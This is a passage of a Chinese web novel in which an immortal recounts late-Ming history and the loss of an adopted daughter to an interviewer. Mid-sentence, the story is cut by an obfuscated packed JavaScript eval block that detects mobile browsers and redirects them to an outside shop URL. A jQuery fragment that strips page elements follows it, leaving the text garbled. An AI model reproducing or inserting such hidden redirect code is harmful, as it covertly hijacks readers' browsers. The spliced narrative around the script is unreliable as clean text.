万历十五年，他四百八十岁。


    那天是他的“生日”，他随便定的日子，因为真正的生日早就忘了。


    他在戏园摆了桌酒，请了几个老友。


    其中有个叫张岱的年轻人，二十多岁，才华横溢，但科举不顺，整天游山玩水，写些闲散文章。


    “赵先生，您说，这世道还有救吗？”张岱喝多了，问。


    “没救了。”赵承影说，“从根子上烂了。皇帝不上朝，党争不断，边关战事吃紧，天灾人祸不断。但..”


    “但什么？”


    “但文化还在。”赵承影说，“你看昆曲，多美。你看小说，多精彩。你看书画，多传神。政治会腐烂，王朝会灭亡，但这些美的东西，会留下来。百年后，没人记得严嵩，没人记得魏忠贤，但会记得《牡丹亭》，记得《金瓶梅》，记得唐伯虎的画。”


    张岱若有所思，“所以...我们该做的，是创造美，记录美？”


    “对。”赵承影点头，“改变不了世道，就记录世道。让后人知道，这个时代虽然腐烂，但还是有美的，有真的，有值得记住的东西。这就是我们文人的责任，不是治国平天下，是守护文明的火种。”


    那晚，他们喝到天亮。


    张岱醉了，趴在桌上睡着了。


    赵承影没醉，他走到戏台上，看着空荡荡的观众席，忽然想起汴京的城楼，想起那些在风雪中战死的人。


    “张叔夜，陈东，张叔夜..”他轻声说，“你们守住的，就是这样一个时代。值吗？”


    没有人回答。只有晨风吹过戏台，吹动帷幕，像谁在叹息。


    他走下戏台，走到院中。天快亮了，东方泛起鱼肚白。


    新的一天又要开始，新的戏又要上演。


    他忽然觉得很累。不是身体的累，是那种看透了、厌倦了的累。


    但他还得继续，继续活着，继续看着，继续...演戏。


    因为他是赵承影。是那个在汴京城头发誓“人在城在”的人。是那个宁愿自己死，也要守护无辜者的人。


    四百八十年了，戏还没演完。他还得演下去，直到...幕落的那天。


    “我在苏州住到万历四十八年。”赵夜明说，“看着明朝从腐烂走向崩溃。辽东战事，陕西民变，东林党争...我知道，这个王朝要完了。但奇怪的是，我不难过，反而有种...解脱感。就像看一场很长的烂戏，终于要结束了。”


    林晚声停下笔，“您离开苏州后去了哪里？”


    “回了一趟北京。”赵夜明说，“天启七年，崇祯即位。我去看了登基大典，很隆重，很盛大。但我在那个年轻皇帝脸上，看到了恐惧，看到了绝望。他知道这个烂摊子他接不住，但他必须接。那一刻，我有点同情他。”


    “您见过崇祯？”


    “远远见过几次。”赵夜明说，“在煤山上吊那次，我也在。我站在山脚下，看着那棵歪脖树，看着那具晃动的尸体。周围是李自成的军队，是逃难的百姓，是烧毁的宫殿。那一刻我在想，如果当年在汴京，我守住了，大宋没亡，会不会不一样？”


    他顿了顿，摇头，


    “不会。该亡的还是要亡，该来的还是要来。这就是历史，不以个人意志为转移。我能做的，只是看着，记着，然后...继续活着。”


    阳光从窗户斜射进来，照在他脸上。林晚声看见，他眼角、额头的皱纹真的很明显了，像五十多岁的人。而且他的呼吸有些重，说久了话会停下来喘口气。


    “您累了？”她问。


    “有点。”赵夜明承认，“年纪大了，精力不如从前。我们休息会儿，喝点茶。”


    他起身去续水，脚步有些蹒跚。林晚声想扶他，他摆摆手，“没事，还能走。”


    茶续上，两人沉默了一会儿。窗外传来孩子的笑声，是附近小学放学了。


    “孩子们真开心。”赵夜明望着窗外，“什么都不知道，什么烦恼都没有。多好。”


    “您有过孩子吗？”林晚声问。


    赵夜明沉默了很久，才缓缓道，


    “有过一个女儿。崇祯十四年，在扬州。”


    明崇祯十四年（1641年）扬州瘦西湖


    烟花三月，瘦西湖边桃花盛开。


    赵承影，那时他叫赵砚舟，坐在画舫上，看着岸边的景色。他在扬州住了五年，开了家书院，教孩子们读书。外表三十岁，实际五百岁。


    他已经很老了，不是外表，是内心。活了五百多年，看尽了悲欢离合，对什么都提不起兴趣。


    直到三年前，他在书院门口捡到一个女婴。


    女婴被遗弃在竹篮里，裹着破布，哭得声嘶力竭。


    他抱起来，女婴就不哭了，睁着大眼睛看他。那一刻，他心里某个地方软了一下。


    他收养了她，取名赵念安，念想的念，平安的安。希望她一生平安，有人念想。


    念安三岁了，聪明伶俐，会背诗，会画画，是他的掌上明珠。今天他带她来游湖，她趴在船边，伸着小手去够水里的桃花瓣。


    “爹爹，花！”她指着岸边的桃花。


    “嗯，花。”赵承影摸摸她的头。


    “爹爹，我们摘些花回去，给娘亲插瓶好不好？”


    赵承影心中一痛。念安一直问娘亲在哪，他说娘亲去了很远的地方。其实他不知道她娘亲是谁，也不想知道。他只想把她养大，看她出嫁，看她幸福。


    “好，摘些花。”他说。


    船靠岸，他抱着念安下船，在桃林里摘花。念安摘了一朵，踮着脚要给他戴在头上。他蹲下，让她戴。花戴歪了，但她笑得很开心。


    “爹爹真好看！”


    他也笑了，发自内心地笑。五百多年了，他很少这么笑过。


    摘完花，准备回书院。走到半路，忽然听见喧哗声。一队官兵冲过来，驱赶百姓，“让开！让开！知府大人巡街！”


    人群慌乱躲避。赵承影抱着念安退到路边。轿子过来，是扬州知府。轿帘掀开，知府往外看了一眼，正好看见念安。


    轿子停了。知府下轿，走过来，盯着念安看，“这孩子...怎么这么眼熟？”


    赵承影心中一紧，把念安往怀里搂了搂，“大人，这是小女。”


    “你女儿？”知府打量他，“你叫什么？做什么的？”


    “草民赵砚舟，开书院的。”


    “书院的？”知府眼神闪烁，“这孩子...是你亲生的？”


    “是。”赵承影说得很肯定。


    知府看了他一会儿，忽然笑了，“好，好。你们走吧。”


    赵承影行礼，抱着念安离开。走远了，回头看了一眼，知府还在看着他们，眼神阴冷。


    他心中不安。回到书院，立刻收拾东西，准备离开扬州。但晚了。


    晚上，官兵包围了书院。知府带人冲进来，指着念安，“把这孩子带走！”


    “凭什么？！”赵承影护住念安。


    “凭什么？”知府冷笑，“这孩子的娘，是我府上逃走的丫鬟。偷了我的东西，还偷了我的种。这孩子，是我的！”


    赵承影如遭雷击。他看向念安，念安吓得大哭，紧紧抓着他的衣服。


    “大人，这中间一定有误会..”他试图辩解。


    “误会？”知府一挥手，“搜！”


    官兵冲进屋里，翻箱倒柜。一个官兵从床下搜出一个木盒，打开，里面是些金银珠宝，是赵承影这些年的积蓄。


    “赃物在此！”知府大笑，“人赃并获！把这老贼也拿下！”


    赵承影明白了。这是栽赃。知府看上了念安，或者看上了他的钱财，或者两者都有。总之，他完了。


    他看着扑上来的官兵，又看看怀里的念安。念安哭得撕心裂肺，“爹爹！爹爹！”


    他闭上眼，深吸一口气。再睁开时，眼中金色光芒一闪。


    “谁敢动我女儿？”


    声音不大，但带着一种无形的威压。官兵们一愣，停住了。


    “妖...妖怪！”有人惊叫。


    赵承影放下念安，摸摸她的头，“安儿，闭上眼睛，数到一百。数完，爹爹就带你走。”


    “嗯..”念安哭着闭眼，“一，二，三..”


    赵承影动了。快如鬼魅，所过之处，官兵纷纷倒地。


    知府吓得魂飞魄散，转身要跑，被他一把抓住脖子。


    “大人，”他凑到知府耳边，声音冰冷，“我给你两个选择。一，我杀了你，杀了这里所有人，带着孩子远走高飞。二，你对外说，这孩子病死了，我带着尸体离开。从此井水不犯河水。你选哪个？”


    知府浑身发抖，“二...我选二..”


    “聪明。”赵承影松开他，“记住，如果敢耍花样，我会回来，杀你全家。”


    他转身，抱起念安。念安还在数数，“...九十八，九十九，一百。爹爹，数完了。”


    “嗯，爹爹带你走。”


    他走出书院，消失在夜色中。身后，知府瘫坐在地，□□湿了一片。


    那晚，赵承影


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322405|198636||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    带着念安离开扬州，南下杭州。在杭州租了间小院，安顿下来。念安受了惊吓，病了三天，高烧不退。


    他守了三天三夜，用自己的血为她续命，总算救了回来。


    但这次动用力量，让他损耗巨大。他能感觉到，生命力在加速流逝，身体在变老。


    或许是因为他从不饮同类的血，他的恢复能力逐渐变得很差。


    照镜子时，发现自己多了几根白发，眼角多了几道皱纹。


    但他不后悔。为了念安，值得。


    “爹爹，”念安病好后，抱着他问，“我们以后去哪？”


    “去一个安全的地方。”他说，“爹爹带你去看山，看海，看这世间最美的风景。”


    “那娘亲呢？娘亲会来找我们吗？”


    “...会。”赵承影抱紧她，“等你看遍世间风景，娘亲就来找我们了。”


    念安笑了，笑得很甜。赵承影也笑了，笑里有泪。


    他知道，他在骗她。也知道，自己在骗自己。但这谎言很美，美到他想一直信下去。


    “念安十六岁时，出嫁了。”赵夜明说，“嫁给了杭州一个书生的儿子，人很好，对她也好。我看着她穿嫁衣，看着她拜堂，看着她上花轿。花轿走远时，我哭了。五百多年来，第一次哭得那么厉害。”


    林晚声眼眶发热，“后来呢？”


    “后来她生了两个孩子，一儿一女。我常去看她，带些点心，带些玩具。她总说，爹爹，您不老吗？怎么还是这样？我说，爹爹会养生，老得慢。她信了。”


    “她...知道您的秘密吗？”


    “不知道。”赵夜明摇头，“我不能让她知道。知道得越多，越危险。而且...我不想让她用看怪物的眼神看我。在她心里，我只是个普通的、疼爱她的爹爹。这就够了。”


    “那她..”


    “顺治十八年，她去世了。”赵夜明说得很平静，“五十三岁，不算长寿，也不算短寿。是病死的，肺痨。我守在她床边，握着她的手，看着她咽下最后一口气。她走得很安详，说，爹爹，谢谢您养大我。下辈子，我还做您女儿。”


    他顿了顿，声音有些哽咽，


    “我说，好，下辈子，我还做你爹爹。”


    茶室里很静，只有时钟的滴答声。窗外，夕阳西下，天边一片金红。


    “那之后，您..”


    “那之后，我离开了杭州。”赵夜明说，“去了云南，住了二十年。然后去四川，住了三十年。然后去广东，住了四十年。到处走，到处看，但不再在一个地方久留。因为...认识的人越多，离别时越痛苦。我受不了了。”


    他站起身，走到书架前，抽出一本相册，递给林晚声。相册很旧，是民国时期的样式。翻开，里面是些老照片，有穿清代衣服的女子，有民国女学生，有解放初期的女干部，有改革开放后的女商人。每张照片下面都写着名字和日期。


    “这些都是..”林晚声翻着。


    “都是念安。”赵夜明说，“她的每一世。我找到了她，看着她长大，看着她老去，看着她死去。然后等她转世，再找到她，再看一次。看了七世了。”


    林晚声震惊，“您...您怎么找到的？”


    “有种感应，能找到有缘人。”赵夜明说，“但很耗心力，第七世找完后，我找了三十年才找到，找到时她已经快死了。我就没再找了。因为...我找不动了，也受不了了。看着爱的人一次次死在自己面前，太残忍了。”


    他合上相册，放回书架，


    “所以你看，长生最残忍的不是孤独，是...不断地得到，又不断地失去。得到时有多欢喜，失去时就有多痛苦。而且你知道，这痛苦会一直重复，没有尽头。到最后，你就不敢再得到了，因为知道迟早要失去。可不得到，活着还有什么意思？”


    他走回沙发坐下，闭上眼，显得很疲惫。夕阳的余晖照在他脸上，照出满脸的皱纹，满头的白发。这一刻，他看起来真的像个老人，一个活了九百岁、累极了的老人。


    “今天就到这儿吧。”他说，“我累了，想睡会儿。”


    “好。”林晚声收拾东西，“您好好休息。下次..”


    “下周六，老时间。”赵夜明睁开眼。


    “到时见。”


    林晚声离开，轻轻带上门。走在梧桐树荫下，她回头看那栋小楼。二楼窗户亮着灯，一个佝偻的身影站在窗前，望着远方。


    夕阳沉下去了，天边只剩一抹暗红。


    【第三次访谈结束】